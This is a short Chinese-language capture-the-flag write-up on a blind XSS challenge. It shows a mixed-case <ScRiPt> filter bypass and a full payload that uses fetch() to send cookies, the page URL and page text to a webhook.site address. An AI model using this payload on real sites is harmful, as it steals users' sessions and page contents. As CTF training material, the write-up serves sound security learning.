【XSS】这个知识库你需要申请

输入script发现不给用，但可以用大小写进行绕过。

我的申请里也是啥都没有

盲 XSS 在其他的浏览器里执行，我们看不到结果，所以必须让它主动把数据 "寄" 出来。这里用的是webhook.site。

内容就是常用的fetch。

fetch("https://webhook.site/我们的UUID?z="+encodeURIComponent(document.cookie))

?z= 是我们自定义的查询参数。

通过webhook.site可知uuid为bad6a7cc-0d15-412c-a187-47caaddd5e82。

fetch("https://webhook.site/bad6a7cc-0d15-412c-a187-47caaddd5e82?z="+encodeURIComponent(document.cookie))

总的payload就是：

<ScRiPt>fetch("https://webhook.site/bad6a7cc-0d15-412c-a187-47caaddd5e82?z="+encodeURIComponent(location.href+"||"+document.cookie+"||"+document.body.innerText))</ScRiPt>

提交访问申请等待一会能从回显里看到flag